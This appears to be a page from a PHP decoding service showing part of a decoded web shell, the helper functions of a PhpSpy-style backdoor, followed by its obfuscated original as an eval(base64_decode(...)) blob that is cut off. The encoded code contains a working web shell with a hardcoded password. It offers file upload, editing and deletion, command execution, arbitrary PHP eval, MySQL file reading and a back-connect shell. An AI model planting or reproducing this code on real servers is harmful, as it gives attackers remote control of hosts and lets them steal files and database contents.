if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
fr($rows);
if ($fp) {
fwrite($fp,"\n");
} else {
echo "\n";
}
}
function ue($str){
return urlencode($str);
}
function p($str){
echo $str."\n";
}
function tbhead() {
p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
p('</table>');
}
function makehide($name,$value=''){
p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
function makeinput($arg = array()){
$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
!$arg['type'] && $arg['type'] = 'text';
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
if ($arg['newline']) {
p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
} else {
p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
}
}
function makeselect($arg = array()){
if ($arg['onchange']) {
$onchange = 'onchange="'.$arg['onchange'].'"';
}
$arg['title'] = $arg['title'] ? $arg['title'] : '';
if ($arg['newline']) p('<p>');
p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
if (is_array($arg['option'])) {
foreach ($arg['option'] as $key=>$value) {
if ($arg['selected']==$key) {
p("<option value=\"$key\" selected>$value</option>");
} else {
p("<option value=\"$key\">$value</option>");
}
}
}
p("</select>");
if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
!$arg['method'] && $arg['method'] = 'post';
!$arg['action'] && $arg['action'] = $self;
$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
!$arg['name'] && $arg['name'] = 'form1';
p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
if ($arg['title']) {
p('<h2>'.$arg['title'].' »</h2>');
}
}
function maketext($arg = array()){
!$arg['cols'] && $arg['cols'] = 100;
!$arg['rows'] && $arg['rows'] = 25;
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}
function formfooter($name = ''){
!$name && $name = 'submit';
p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
p('</form>');
}
function formfoot(){
p('</form>');
}
// ????
function pr($a) {
echo '<pre>';
print_r($a);
echo '</pre>';
}
?>
</td></tr></table>
</td></tr>
</tr>
</table>
Did this file decode correctly?
Original Code
eval(base64_decode('PD9waHANCg0KDQplcnJvcl9yZXBvcnRpbmcoNyk7DQoNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQoNCm9iX3N0YXJ0KCk7DQoNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQoNCiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07DQoNCmRlZmluZSgnU0FfUk9PVCcsIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgZGlybmFtZShfX0ZJTEVfXykpLicvJyk7DQoNCi8vZGVmaW5lKCdJU19XSU4nLCBzdHJzdHIoUEhQX09TLCAnV0lOJykgPyAxIDogMCApOw0KDQpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7DQoNCmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7DQoNCmRlZmluZSgnSVNfR1BDJywgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSk7DQoNCiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KDQpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IDEgOiAwICk7DQoNCkBzZXRfdGltZV9saW1pdCgwKTsNCg0KDQoNCmZvcmVhY2goYXJyYXkoJ19HRVQnLCdfUE9TVCcpIGFzICRfcmVxdWVzdCkgew0KDQoJZm9yZWFjaCgkJF9yZXF1ZXN0IGFzICRfa2V5ID0+ICRfdmFsdWUpIHsNCg0KCQlpZiAoJF9rZXl7MH0gIT0gJ18nKSB7DQoNCgkJCWlmIChJU19HUEMpIHsNCg0KCQkJCSRfdmFsdWUgPSBzX2FycmF5KCRfdmFsdWUpOw0KDQoJCQl9DQoNCgkJCSQkX2tleSA9ICRfdmFsdWU7DQoNCgkJfQ0KDQoJfQ0KDQp9DQoNCg0KDQovKj09PT09PT09PT09PT09PT09PT09PSA/Pz8/ID09PT09PT09PT09PT09PT09PT09PSovDQoNCiRhZG1pbiA9IGFycmF5KCk7DQoNCi8vID8/Pz8/Pz8/LCB0cnVlID8/Pz8/LCBmYWxzZSA/Pz8/Py4/Pz8/Pz8/DQoNCiRhZG1pblsnY2hlY2snXSA9IGZhbHNlOw0KDQovLyA/Pz8/Pz8/Pyw/Pz8/Pz8/DQoNCiRhZG1pblsncGFzcyddICA9ICdoYWNrJzsNCg0KDQoNCi8vPz8/IGNvb2tpZSA/Pz8/Pz8/Pz8sID8/Pz8/PywgPz8/Pz8/PywgPz8/Pz8/Pw0KDQovLyBjb29raWUgPz8NCg0KJGFkbWluWydjb29raWVwcmUnXSA9ICcnOw0KDQovLyBjb29raWUgPz8/DQoNCiRhZG1pblsnY29va2llZG9tYWluJ10gPSAnJzsNCg0KLy8gY29va2llID8/Pz8NCg0KJGFkbWluWydjb29raWVwYXRoJ10gPSAnLyc7DQoNCi8vIGNvb2tpZSA/Pz8NCg0KJGFkbWluWydjb29raWVsaWZlJ10gPSA4NjQwMDsNCg0KLyo9PT09PT09PT09PT09PT09PT09PT0gPz8/PyA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQoNCg0KaWYgKCRjaGFyc2V0ID09ICd1dGY4Jykgew0KDQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KDQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7DQoNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsNCg0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7DQoNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWdiayIpOw0KDQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsNCg0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOw0KDQp9DQoNCg0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsNCg0KJHRpbWVzdGFtcCA9IHRpbWUoKTsNCg0KDQoNCi8qPT09PT09PT09PT09PT09PT09PT09ID8/Pz8gPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KaWYgKCRhY3Rpb24gPT0gImxvZ291dCIpIHsNCg0KCXNjb29raWUoJ3BocHNweXBhc3MnLCAnJywgLTg2NDAwICogMzY1KTsNCg0KCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPScuJHNlbGYuJyI+Jyk7DQoNCglwKCc8YSBzdHlsZT0iZm9udDoxMnB4IFZlcmRhbmEiIGhyZWY9IicuJHNlbGYuJyI+U3VjY2VzczwvYT4nKTsNCg0KCWV4aXQ7DQoNCn0NCg0KaWYoJGFkbWluWydjaGVjayddKSB7DQoNCglpZiAoJGRvaW5nID09ICdsb2dpbicpIHsNCg0KCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gJHBhc3N3b3JkKSB7DQoNCgkJCXNjb29raWUoJ3BocHNweXBhc3MnLCAkcGFzc3dvcmQpOw0KDQoJCQlwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0nLiRzZWxmLiciPicpOw0KDQoJCQlwKCc8YSBzdHlsZT0iZm9udDoxMnB4IFZlcmRhbmEiIGhyZWY9IicuJHNlbGYuJyI+U3VjY2VzczwvYT4nKTsNCg0KCQkJZXhpdDsNCg0KCQl9DQoNCgl9DQoNCglpZiAoJF9DT09LSUVbJ3BocHNweXBhc3MnXSkgew0KDQoJCWlmICgkX0NPT0tJRVsncGhwc3B5cGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7DQoNCgkJCWxvZ2lucGFnZSgpOw0KDQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJbG9naW5wYWdlKCk7DQoNCgl9DQoNCn0NCg0KLyo9PT09PT09PT09PT09PT09PT09PT0gPz8/PyA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQoNCg0KJGVycm1zZyA9ICcnOw0KDQoNCg0KLy8gPz9QSFBJTkZPDQoNCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgew0KDQoJaWYgKElTX1BIUElORk8pIHsNCg0KCQlwaHBpbmZvKCk7DQoNCgl9IGVsc2Ugew0KDQoJCSRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOw0KDQoJfQ0KDQp9DQoNCg0KDQovLyA/Pz8/DQoNCmlmICgkZG9pbmcgPT0gJ2Rvd25maWxlJyAmJiAkdGhlZmlsZSkgew0KDQoJaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoNCgkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsNCg0KCX0gZWxzZSB7DQoNCgkJJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOw0KDQoJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7DQoNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7DQoNCgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOw0KDQoJCUByZWFkZmlsZSgkdGhlZmlsZSk7DQoNCgkJZXhpdDsNCg0KCX0NCg0KfQ0KDQoNCg0KLy8gPz8/Pz8/Pz8/DQoNCmlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAhJHNhdmVhc2ZpbGUpIHsNCg0KCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoNCgkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7DQoNCgkkcmVzdWx0ID0gcSgiU0hPVyB0YWJsZXMiKTsNCg0KCWlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCg0KCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX015U1FMLnNxbCcpOw0KDQoJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24nKTsNCg0KCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOw0KDQoJJG15c3FsZGF0YSA9ICcnOw0KDQoJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KDQoJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7DQoNCgkJCSRteXNxbGRhdGEgLj0gc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0pOw0KDQoJCX0NCg0KCX0NCg0KCW15c3FsX2Nsb3NlKCk7DQoNCglleGl0Ow0KDQp9DQoNCg0KDQovLyA/P01ZU1FMPz8/Pw0KDQppZigkZG9pbmc9PSdteXNxbGRvd24nKXsNCg0KCWlmICghJGRibmFtZSkgew0KDQoJCSRlcnJtc2cgPSAnUGxlYXNlIGlucHV0IGRibmFtZSc7DQoNCgl9IGVsc2Ugew0KDQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoNCgkJaWYgKCFmaWxlX2V4aXN0cygkbXlzcWxkbGZpbGUpKSB7DQoNCgkJCSRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7DQoNCgkJfSBlbHNlIHsNCg0KCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBsb2FkX2ZpbGUoJyRteXNxbGRsZmlsZScpOyIpOw0KDQoJCQlpZighJHJlc3VsdCl7DQoNCgkJCQlxKCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0bXBfYW5nZWw7Iik7DQoNCgkJCQlxKCJDUkVBVEUgVEFCTEUgdG1wX2FuZ2VsIChjb250ZW50IExPTkdCTE9CIE5PVCBOVUxMKTsiKTsNCg0KCQkJCS8vPz8/Pz8/Pz8/LD8/Pz8/Pz8/Pz8/X19hbmdlbF8xMTExMTExMTExX2VvZl9fPz8/Pz8/Pz8/Pw0KDQoJCQkJcSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnIi5hZGRzbGFzaGVzKCRteXNxbGRsZmlsZSkuIicgSU5UTyBUQUJMRSB0bXBfYW5nZWwgRklFTERTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0aW1lc3RhbXB9X2VvZl9fJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ19fYW5nZWxfeyR0aW1lc3RhbXB9X2VvZl9fJzsiKTsNCg0KCQkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgY29udGVudCBmcm9tIHRtcF9hbmdlbCIpOw0KDQoJCQkJcSgiRFJPUCBUQUJMRSB0bXBfYW5nZWwiKTsNCg0KCQkJfQ0KDQoJCQkkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOw0KDQoJCQlpZiAoISRyb3cpIHsNCg0KCQkJCSRlcnJtc2cgPSAnTG9hZCBmaWxlIGZhaWxlZCAnLm15c3FsX2Vycm9yKCk7DQoNCgkJCX0gZWxzZSB7DQoNCgkJCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkbXlzcWxkbGZpbGUpOw0KDQoJCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsNCg0KCQkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KDQoJCQkJaGVhZGVyKCJBY2NlcHQtTGVuZ3RoOiAiLnN0cmxlbigkcm93WzBdKSk7DQoNCgkJCQllY2hvICRyb3dbMF07DQoNCgkJCQlleGl0Ow0KDQoJCQl9DQoNCgkJfQ0KDQoJfQ0KDQp9DQoNCg0KDQo/Pg0KDQo8aHRtbD4NCg0KPGhlYWQ+DQoNCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWdiayI+DQoNCjx0aXRsZT48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnUC5oLnAuUy5wLnknKTs/PjwvdGl0bGU+DQoNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoNCmJvZHksdGR7Zm9udDogMTJweCBBcmlhbCxUYWhvbWE7bGluZS1oZWlnaHQ6IDE2cHg7fQ0KDQouaW5wdXR7Zm9udDoxMnB4IEFyaWFsLFRhaG9tYTtiYWNrZ3JvdW5kOiNmZmY7Ym9yZGVyOiAxcHggc29saWQgIzY2NjtwYWRkaW5nOjJweDtoZWlnaHQ6MjJweDt9DQoNCi5hcmVhe2ZvbnQ6MTJweCAnQ291cmllciBOZXcnLCBNb25vc3BhY2U7YmFja2dyb3VuZDojZmZmO2JvcmRlcjogMXB4IHNvbGlkICM2NjY7cGFkZGluZzoycHg7fQ0KDQouYnQge2JvcmRlci1jb2xvcjojYjBiMGIwO2JhY2tncm91bmQ6IzNkM2QzZDtjb2xvcjojZmZmZmZmO2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7aGVpZ2h0OjIycHg7fQ0KDQphIHtjb2xvcjogIzAwZjt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30NCg0KYTpob3Zlcntjb2xvcjogI2YwMDt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQoNCi5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmMWYxZjE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCg0KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KDQouZm9jdXMgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2ZmZmZhYTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KDQouaGVhZCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZTllOWU5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpib2xkO30NCg0KLmhlYWQgdGQgc3Bhbntmb250LXdlaWdodDpub3JtYWw7fQ0KDQpmb3Jte21hcmdpbjowO3BhZGRpbmc6MDt9DQoNCmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhlaWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fQ0KDQp1bC5pbmZvIGxpe21hcmdpbjowO2NvbG9yOiM0NDQ7bGluZS1oZWlnaHQ6MjRweDtoZWlnaHQ6MjRweDt9DQoNCnV7dGV4dC1kZWNvcmF0aW9uOiBub25lO2NvbG9yOiM3Nzc7ZmxvYXQ6bGVmdDtkaXNwbGF5OmJsb2NrO3dpZHRoOjE1MHB4O21hcmdpbi1yaWdodDoxMHB4O30NCg0KPC9zdHlsZT4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KDQpmdW5jdGlvbiBDaGVja0FsbChmb3JtKSB7DQoNCglmb3IodmFyIGk9MDtpPGZvcm0uZWxlbWVudHMubGVuZ3RoO2krKykgew0KDQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCg0KCQlpZiAoZS5uYW1lICE9ICdjaGthbGwnKQ0KDQoJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7DQoNCiAgICB9DQoNCn0NCg0KZnVuY3Rpb24gJChpZCkgew0KDQoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCg0KfQ0KDQpmdW5jdGlvbiBnb2FjdGlvbihhY3Qpew0KDQoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0Ow0KDQoJJCgnZ29hY3Rpb24nKS5zdWJtaXQoKTsNCg0KfQ0KDQo8L3NjcmlwdD4NCg0KPC9oZWFkPg0KDQo8Ym9keSBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCI+DQoNCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KDQoJPHRyIGNsYXNzPSJoZWFkIj4NCg0KCQk8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQudHIiIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnUC5oLnAuUy5wLnknKTs/PiBWZXI6IDIwMDg8L2E+PC9zcGFuPjw/cGhwIGVjaG8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOz8+ICg8P3BocCBlY2hvIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOz8+KTwvdGQ+DQoNCgk8L3RyPg0KDQoJPHRyIGNsYXNzPSJhbHQxIj4NCg0KCQk8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+U2FmZSBNb2RlOjw/cGhwIGVjaG8gZ2V0Y2ZnKCdzYWZlX21vZGUnKTs/Pjwvc3Bhbj4NCg0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij5Mb2dvdXQ8L2E+IHwgDQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2ZpbGUnKTsiPkZpbGUgTWFuYWdlcjwvYT4gfCANCg0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwgDQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGZpbGUnKTsiPk15U1FMIFVwbG9hZCAmYW1wOyBEb3dubG9hZDwvYT4gfCANCg0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc2hlbGwnKTsiPkV4ZWN1dGUgQ29tbWFuZDwvYT4gfCANCg0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwgDQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2V2YWwnKTsiPkV2YWwgUEhQIENvZGU8L2E+DQoNCgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdiYWNrY29ubmVjdCcpOyI+QmFjayBDb25uZWN0PC9hPjw/cGhwIH0/Pg0KDQoJCTwvdGQ+DQoNCgk8L3RyPg0KDQo8L3RhYmxlPg0KDQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjE1IiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4NCg0KPD9waHANCg0KDQoNCmZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2dvYWN0aW9uJykpOw0KDQptYWtlaGlkZSgnYWN0aW9uJyk7DQoNCmZvcm1mb290KCk7DQoNCg0KDQokZXJybXNnICYmIG0oJGVycm1zZyk7DQoNCg0KDQovLyA/Pz8/Pz8NCg0KISRkaXIgJiYgJGRpciA9ICcuJzsNCg0KJG5vd3BhdGggPSBnZXRQYXRoKFNBX1JPT1QsICRkaXIpOw0KDQppZiAoc3Vic3RyKCRkaXIsIC0xKSAhPSAnLycpIHsNCg0KCSRkaXIgPSAkZGlyLicvJzsNCg0KfQ0KDQokdWVkaXIgPSB1ZSgkZGlyKTsNCg0KDQoNCmlmICghJGFjdGlvbiB8fCAkYWN0aW9uID09ICdmaWxlJykgew0KDQoNCg0KCS8vID8/Pz8/Pw0KDQoJJGRpcl93cml0ZWFibGUgPSBAaXNfd3JpdGFibGUoJG5vd3BhdGgpID8gJ1dyaXRhYmxlJyA6ICdOb24td3JpdGFibGUnOw0KDQoNCg0KCS8vID8/Pz8NCg0KCWlmICgkZG9pbmcgPT0gJ2RlbGRpcicgJiYgJHRoZWZpbGUpIHsNCg0KCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KDQoJCQltKCR0aGVmaWxlLicgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0Jyk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJLy8gPz8/Pw0KDQoJZWxzZWlmICgkbmV3ZGlybmFtZSkgew0KDQoJCSRta2RpcnMgPSAkbm93cGF0aC4kbmV3ZGlybmFtZTsNCg0KCQlpZiAoZmlsZV9leGlzdHMoJG1rZGlycykpIHsNCg0KCQkJbSgnRGlyZWN0b3J5IGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQltKCdEaXJlY3RvcnkgY3JlYXRlZCAnLihAbWtkaXIoJG1rZGlycywwNzc3KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoNCgkJCUBjaG1vZCgkbWtkaXJzLDA3NzcpOw0KDQoJCX0NCg0KCX0NCg0KDQoNCgkvLyA/Pz8/DQoNCgllbHNlaWYgKCRkb3VwZmlsZSkgew0KDQoJCW0oJ0ZpbGUgdXBsb2FkICcuKEBjb3B5KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXSwkdXBsb2FkZGlyLicvJy4kX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KDQoJfQ0KDQoNCg0KCS8vID8/Pz8NCg0KCWVsc2VpZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsNCg0KCQkkZnAgPSBAZm9wZW4oJGVkaXRmaWxlbmFtZSwndycpOw0KDQoJCW0oJ1NhdmUgZmlsZSAnLihAZndyaXRlKCRmcCwkZmlsZWNvbnRlbnQpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCg0KCQlAZmNsb3NlKCRmcCk7DQoNCgl9DQoNCg0KDQoJLy8gPz8/Pz8/DQoNCgllbHNlaWYgKCRwZmlsZSAmJiAkbmV3cGVybSkgew0KDQoJCWlmICghZmlsZV9leGlzdHMoJHBmaWxlKSkgew0KDQoJCQltKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCSRuZXdwZXJtID0gYmFzZV9jb252ZXJ0KCRuZXdwZXJtLDgsMTApOw0KDQoJCQltKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJLy8gPz8NCg0KCWVsc2VpZiAoJG9sZG5hbWUgJiYgJG5ld2ZpbGVuYW1lKSB7DQoNCgkJJG5uYW1lID0gJG5vd3BhdGguJG5ld2ZpbGVuYW1lOw0KDQoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsNCg0KCQkJbSgkbm5hbWUuJyBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQltKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJLy8gPz8/Pw0KDQoJZWxzZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgew0KDQoJCWlmIChmaWxlX2V4aXN0cygkdG9maWxlKSB8fCAhZmlsZV9leGlzdHMoJHNuYW1lKSkgew0KDQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCW0oYmFzZW5hbWUoJHRvZmlsZSkuJyBjb3BpZWQgJy4oQGNvcHkoJHNuYW1lLCR0b2